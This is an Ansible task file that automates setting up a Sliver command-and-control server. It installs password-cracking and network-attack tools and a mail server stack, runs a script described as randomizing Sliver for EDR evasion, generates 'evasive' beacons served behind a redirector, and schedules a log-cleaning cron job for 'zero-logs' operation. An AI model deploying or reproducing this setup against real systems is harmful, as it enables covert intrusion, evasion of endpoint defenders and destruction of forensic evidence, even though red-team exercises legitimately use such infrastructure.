CoM-c2itall/tasks/configure_c2.yml

---
# Common tasks for configuring C2 server with EDR evasion
# Shared across all providers

- name: Update apt cache
  apt:
    update_cache: yes

- name: Set a custom MOTD
  template:
    src: "../templates/motd-linode.j2"
    dest: /etc/motd
    owner: root
    group: root
    mode: '0644'

- name: Install base utilities and tools via apt
  apt:
    name:
      - git
      - wget
      - curl
      - unzip
      - python3-pip
      - python3-venv
      - tmux
      - pipx
      - nmap
      - tcpdump
      - hydra
      - john
      - hashcat
      - sqlmap
      - gobuster
      - dirb
      - enum4linux
      - dnsenum
      - seclists
      - responder
      - golang
      - proxychains
      - tor
      - crackmapexec
      - jq
      - build-essential
      - zip
      - unzip
      - postfix
      - certbot
      - opendkim
      - opendkim-tools
      - dovecot-core
      - dovecot-imapd
      - dovecot-pop3d
      - dovecot-sieve
      - dovecot-managesieved
      - yq
      - build-essential
    state: present

- name: Create directories for operational scripts
  file:
    path: "{{ item }}"
    state: directory
    mode: '0700'
    owner: root
    group: root
  with_items:
    - /opt/c2
    - /opt/beacons
    - /opt/payloads

- name: Copy operational scripts
  copy:
    src: "{{ item }}"
    dest: "/opt/c2/{{ item | basename }}"
    mode: '0700'
    owner: root
    group: root
  with_items:
    - ../files/clean-logs.sh
    - ../files/secure-exit.sh
    - ../files/sliver_randomizer.sh

- name: Create beacon generation script from template
  template:
    src: "../templates/generate_evasive_beacons.sh.j2"
    dest: "/opt/c2/generate_evasive_beacons.sh"
    mode: '0700'
    owner: root
    group: root
  vars:
    redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}"
    domain: "{{ domain }}"
    redirector_port: "{{ redirector_port | default('443') }}"

- name: Create beacon server script from template
  template:
    src: "../templates/serve-beacons.sh.j2"
    dest: "/opt/c2/serve-beacons.sh"
    mode: '0700'
    owner: root
    group: root
  vars:
    redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}"
    domain: "{{ domain }}"
    redirector_port: "{{ redirector_port | default('443') }}"

- name: Remove standard Sliver if installed
  apt:
    name: sliver
    state: absent
  ignore_errors: yes

- name: Stop standard Sliver service if running
  systemd:
    name: sliver
    state: stopped
    enabled: no
  ignore_errors: yes

- name: Run Sliver randomization for EDR evasion
  shell: /opt/c2/sliver_randomizer.sh
  args:
    creates: /opt/c2/sliver-profiles/evasive-template.json
  register: randomization_result

- name: Display Sliver randomizer output
  debug:
    var: sliver_randomizer_result.stdout_lines
  when: sliver_randomizer_result.stdout_lines is defined

- name: Create custom Sliver service file
  template:
    src: "../templates/sliver-server.service.j2"
    dest: /etc/systemd/system/sliver.service
    mode: '0644'
    owner: root
    group: root

- name: Enable and start custom Sliver service
  systemd:
    name: sliver
    state: started
    enabled: yes
    daemon_reload: yes

- name: Wait for Sliver to initialize
  pause:
    seconds: 15

- name: Check if Sliver operator config exists
  stat:
    path: /root/admin.cfg
  register: operator_config

- name: Create new operator if needed
  shell: |
    /usr/local/bin/sliver-server operator --name admin --lhost {{ ansible_host }} --save /root/admin.cfg
  args:
    creates: /root/admin.cfg
  when: not operator_config.stat.exists

- name: Generate beacons with redirector integration
  shell: |
    /opt/c2/generate_evasive_beacons.sh
  args:
    creates: /opt/beacons/reference.txt
  environment:
    PATH: "{{ ansible_env.PATH }}:/usr/local/bin"
  ignore_errors: yes
  register: beacon_generation_result

- name: Display beacon generation output
  debug:
    var: beacon_generation_result.stdout_lines
  when: beacon_generation_result.stdout_lines is defined

- name: Start beacon server
  shell: |
    nohup /opt/c2/serve-beacons.sh > /dev/null 2>&1 &
  args:
    executable: /bin/bash
  register: beacon_server_result

- name: Create NGINX configuration fragment for redirector
  template:
    src: "../templates/redirector-sliver-fragment.j2"
    dest: "/opt/c2/redirector-config.conf"
    mode: '0644'
    owner: root
    group: root
  vars:
    c2_ip: "{{ ansible_host }}"
    redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"

- name: Create Sliver usage guide
  template:
    src: "../templates/sliver-guide.j2"
    dest: "/root/sliver-guide.txt"
    mode: '0600'
    owner: root
    group: root
  vars:
    c2_ip: "{{ ansible_host }}"
    redirector_domain: "{{ redirector_subdomain }}.{{ domain }}"

- name: Set up cron job for log cleaning if zero-logs enabled
  cron:
    name: "Clean logs"
    minute: "0"
    hour: "*/6"
    job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
  when: zero_logs | bool

# Include integrated tracker tasks if requested
- name: Include integrated tracker setup
  include_tasks: "configure_integrated_tracker.yml"
  when: setup_integrated_tracker | default(false) | bool